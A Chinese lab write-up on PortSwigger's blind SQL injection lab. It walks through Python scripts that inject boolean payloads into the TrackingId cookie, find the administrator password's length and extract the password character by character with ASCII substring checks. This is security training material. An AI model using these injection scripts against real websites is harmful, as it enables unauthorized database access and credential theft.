00:前言
这次的靶场会使用到portswigger的 blind SQL injection with conditional response。靶场链接 https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses 只需要注册一个账号就可以免费体验了。这里再说一下已知条件,在打开页面以后会在首页出现Welcome back如果一切正常的话。其次是注入点可能是在cookie中的trace id部分。最后是告诉你存在一个users表,里面有username和password的字段。我们的目标就是去提取password字段里面的数据出来。
01:基础分析
打开页面以后可以看到正常情况下会出现Welcome back的返回信息。
通过Burp抓包可以发现此次的目标cookie中的TrackingID目标。随后我们会在后面注入一些奇奇怪怪的数据进行观察和分析。
这里我们可以先创建一个比较基础的py脚本去确认一波trackingid是否可能有问题。脚本如下所示,这里会用到requests库,随后会创建一个名为list的列表。里面主要就是放我们的脚本进去比如单引号还有单引号后面跟and 1=1--+。由于该靶场是盲注,所以我们需要观察页面是否返回welcome back代表页面是否正常。下面就开始用for循环进行遍历列表,首先需要定义下请求头比如火狐浏览器或者是chrome浏览器的信息。随后把最重要的cookie部分给贴上去,由于我们的目标是对trackingID进行添加奇奇怪怪的数据所以会对原有的数据进行分割。变成TrackingID = xxxx’; 或者变成xxxx’ and 1=1--+这样去判断页面是否返回正常。接下来就定义url变量为我们的目标地址以后进行request请求。随后使用.text去看看页面返回有什么内容接下来就是一个简单的if else判断,判断.text中是否包含回我们想要的目标welcome back,如果我们的’ and 1=1--+有效证明成功闭合。而正常的单引号肯定是会报错的。最后把payload输出确认一波。
#!/usr/bin/python3
#-*- coding:utf-8 -*-
import requests
list = ["'", "' and 1=1--+"]
for payload in list:
header={'User-Agent':
'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Cookie': 'TrackingId=fgow1leqNSW6eYr5' + payload + '; session=5PgyFCZMNkGnHJslBoMB2ZNm3fiJ63qz'}
url = 'https://0a54006804fac76ec011b15100db00c6.web-security-academy.net/'
url = requests.get('https://0a54006804fac76ec011b15100db00c6.web-security-academy.net/',headers=header)
url.encoding = "utf-8"
html=url.text
print('payload=',payload)
if "Welcome back!" in url.text:
print("正常")
else:
print("有问题")
这里可以看到输出结果,输入单引号必会让页面有点小bug,比如说welcome back不见了。而输入了’ and 1=1--+以后页面包含welcome back则输出正常。
02:信息确认
前面有说到题目已经告诉我们目标数据库是存在user表和username, password的字段。我们可以稍微添加点内容进行确认
比如在列表里面加入一下内容,第一条语句是从users表里面选择x=x,如果存在users表正常来讲类似1=1数据库肯定会判断正常的反之则不会。第二条语句是从users表里面输出username=administrator 进行确认表里面是否存在管理员这个用户名,如果没有welcome back则代表题目提供的信息有问题。' and (select 'x' from users LIMIT 1)='x'--+'and (select username from users where username='administrator')='administrator'--+这里可以看到输出结果均为正常,那么我们下一步的目标就是猜这个password字段的长度和进行枚举里面的内容了因为都是位置题目并没有提供。
03:猜测password字段的长度
接下来就需要猜测password的字段长度方便后面爆破内容了我们可以稍微修改下脚本变成下面这样,首先我这里定义了一个for循环让i从1到29这个i是会循环‘and (select username from users where xxxx and length(password)=i, 这里不断循环从1-29看看到哪个数值页面返回了welcome back则代表盲注查询成功。至于框架也跟上面有点类似如果页面返回welcome back则输出payload的具体值。
#!/usr/bin/python3
#-*- coding:utf-8 -*-
import requests
for i in range(1,30):
payload = "'and (select username from users where username='administrator' and length(password)=%s)='administrator'--+" %(i)
header={'User-Agent':
'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Cookie': 'TrackingId=szQ9QvnVeJzJnjQ3' + payload + '; session=pXfDX8y4baNDXe4FQoYuk55tEAgLOWKz'}
url = 'https://0a9a00a4033740f6c01ddc71009100aa.web-security-academy.net/'
url = requests.get('https://0a9a00a4033740f6c01ddc71009100aa.web-security-academy.net/',headers=header)
url.encoding = "utf-8"
html=url.text
#print('payload=',payload)
if "Welcome back!" in url.text:
print("正常")
print('payload=', payload)
最后输出当等于20的时候返回welcome back可以知道password长度为20
04:枚举password字段里面的内容
最后我们要枚举password的具体内容我们可以用以下payload通过不断枚举i从ascii表中的32-127即a-z,A-Z等等由于已经确认password字段为20只需要遍历1-20即可' and (select ascii(substring(password,i,1)) from users where username='administrator')='i'--+最后脚本如下所示:
#!/usr/bin/python3
#-*- coding:utf-8 -*-
import requests
for i in range(1,21):
for j in range(32,126):
payload = "' and (select ascii(substring(password,%s,1)) from users where username='administrator')='%s'--+" %(i,j)
header={'User-Agent':
'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Cookie': 'TrackingId=szQ9QvnVeJzJnjQ3' + payload + '; session=pXfDX8y4baNDXe4FQoYuk55tEAgLOWKz'}
url = 'https://0a9a00a4033740f6c01ddc71009100aa.web-security-academy.net/'
url = requests.get('https://0a9a00a4033740f6c01ddc71009100aa.web-security-academy.net/',headers=header)
url.encoding = "utf-8"
html=url.text
#print("payload=",payload)
if "Welcome back!" in url.text:
print("正常")
print('payload=', payload)
这里就慢慢等输出结果然后转换一下即可,当然提升速度的方法是多线程一起干活迟点研究一波
原文始发于微信公众号(神隐攻防实验室):利用python打造简单的SQL盲注脚本
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论